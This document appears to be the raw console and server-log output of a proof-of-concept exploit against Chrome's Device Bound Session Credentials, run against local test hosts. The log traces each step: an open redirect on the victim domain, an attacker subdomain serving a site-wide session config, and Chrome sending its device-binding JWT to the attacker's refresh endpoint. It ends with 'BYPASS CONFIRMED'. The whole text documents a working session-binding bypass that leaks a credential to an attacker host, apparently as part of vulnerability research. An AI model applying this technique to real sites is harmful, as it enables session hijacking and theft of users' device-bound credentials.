[*] Serving on https://0.0.0.0:8443
[*] APEX (victim)   : https://a.test:8443
[*] ATTACKER (sub)  : https://attacker.a.test:8443
[*] Navigate Chrome to: https://attacker.a.test:8443/trigger
[*] Log file: /poc-artifacts/server.log
[*] Server PID 4419, profile /tmp/chrome-dbsc-poc.EflsBS
[*] Launching Chrome...
[REQ] GET host=attacker.a.test path=/trigger
[STEP] Serving /trigger with Secure-Session-Registration: (ES256 RS256);challenge="poc_challenge";path="https://a.test:8443/open-redirect"
[REQ] POST host=a.test path=/open-redirect Secure-Session-Response(len=339)
[STEP] APEX open-redirect hit (this is fetcher_endpoint_). Redirecting to https://attacker.a.test:8443/dbsc
[STEP] -> registration JWT was sent to APEX (len=339)
[REQ] GET host=attacker.a.test path=/favicon.ico
[REQ] GET host=attacker.a.test path=/dbsc Secure-Session-Response(len=339)
[STEP] ATTACKER /dbsc serving site-wide config for origin=https://a.test:8443 include_site=true refresh_url=/refresh (-> https://attacker.a.test:8443/refresh)
[REQ] POST host=attacker.a.test path=/refresh Sec-Secure-Session-Id=pwned-session
[PWNED] ATTACKER /refresh received DBSC refresh for the a.test site-wide session!
[PWNED] -> Sec-Secure-Session-Id: pwned-session
[PWNED] -> challenging for device-bound JWT...
[REQ] POST host=attacker.a.test path=/refresh Secure-Session-Response(len=169) Sec-Secure-Session-Id=pwned-session
[PWNED] ATTACKER /refresh received DBSC refresh for the a.test site-wide session!
[PWNED] -> Sec-Secure-Session-Id: pwned-session
[PWNED] -> Secure-Session-Response JWT (device-binding proof) leaked to attacker, len=169: eyJhbGciOiJFUzI1NiIsInR5cCI6ImRic2Mrand0In0.eyJqdGkiOiJhdHRhY2tlcl9jaGFsbGVuZ2Ui...
[REQ] GET host=a.test path=/probe

================ server.log ================
[*] Serving on https://0.0.0.0:8443
[*] APEX (victim)   : https://a.test:8443
[*] ATTACKER (sub)  : https://attacker.a.test:8443
[*] Navigate Chrome to: https://attacker.a.test:8443/trigger
[*] Log file: /poc-artifacts/server.log
[REQ] GET host=attacker.a.test path=/trigger
[STEP] Serving /trigger with Secure-Session-Registration: (ES256 RS256);challenge="poc_challenge";path="https://a.test:8443/open-redirect"
[REQ] POST host=a.test path=/open-redirect Secure-Session-Response(len=339)
[STEP] APEX open-redirect hit (this is fetcher_endpoint_). Redirecting to https://attacker.a.test:8443/dbsc
[STEP] -> registration JWT was sent to APEX (len=339)
[REQ] GET host=attacker.a.test path=/favicon.ico
[REQ] GET host=attacker.a.test path=/dbsc Secure-Session-Response(len=339)
[STEP] ATTACKER /dbsc serving site-wide config for origin=https://a.test:8443 include_site=true refresh_url=/refresh (-> https://attacker.a.test:8443/refresh)
[REQ] POST host=attacker.a.test path=/refresh Sec-Secure-Session-Id=pwned-session
[PWNED] ATTACKER /refresh received DBSC refresh for the a.test site-wide session!
[PWNED] -> Sec-Secure-Session-Id: pwned-session
[PWNED] -> challenging for device-bound JWT...
[REQ] POST host=attacker.a.test path=/refresh Secure-Session-Response(len=169) Sec-Secure-Session-Id=pwned-session
[PWNED] ATTACKER /refresh received DBSC refresh for the a.test site-wide session!
[PWNED] -> Sec-Secure-Session-Id: pwned-session
[PWNED] -> Secure-Session-Response JWT (device-binding proof) leaked to attacker, len=169: eyJhbGciOiJFUzI1NiIsInR5cCI6ImRic2Mrand0In0.eyJqdGkiOiJhdHRhY2tlcl9jaGFsbGVuZ2Ui...
[REQ] GET host=a.test path=/probe
============================================

[*] Chrome stderr/stdout : /poc-artifacts/chrome.log
[*] NetLog               : /poc-artifacts/netlog.json

================ DBSC NetLog events ================
DBSC_REGISTRATION_REQUEST {"source_dependency": {"id": 85, "type": 1}}
DBSC_REGISTRATION_RESULT {"status": "registered"}
DBSC_REQUEST {"credentials": ["Name: sid; Domain: .a.test; Path: /; SecureAttribute: true; IsHttpOnly: false; SameSite: none; IsPartitioned: false"], "refresh_url": "https://attacker.a.test:8443/refresh", "scope": "Type=exclude; Domain=attacker.a.test; Path=/refresh\n", "session_id": "pwned-session"}
CHECK_DBSC_REFRESH_REQUIRED {"refresh_missing_cookie": "sid", "refresh_required_reason": "missing_cookie"}
DBSC_REFRESH_REQUEST {"source_dependency": {"id": 117, "type": 1}}
DBSC_REFRESH_RESULT {"status": "refreshed"}
DBSC_REQUEST {"credentials": ["Name: sid; Domain: .a.test; Path: /; SecureAttribute: true; IsHttpOnly: false; SameSite: none; IsPartitioned: false"], "refresh_url": "https://attacker.a.test:8443/refresh", "scope": "Type=exclude; Domain=attacker.a.test; Path=/refresh\n", "session_id": "pwned-session"}
CHECK_DBSC_REFRESH_REQUIRED {"refresh_required_reason": "refresh_not_required"}
====================================================

[OK] attacker.a.test served the site-wide session config
[OK] a.test/.well-known/device-bound-sessions was NEVER fetched -> BYPASS CONFIRMED
[OK] attacker.a.test/refresh received the device-binding JWT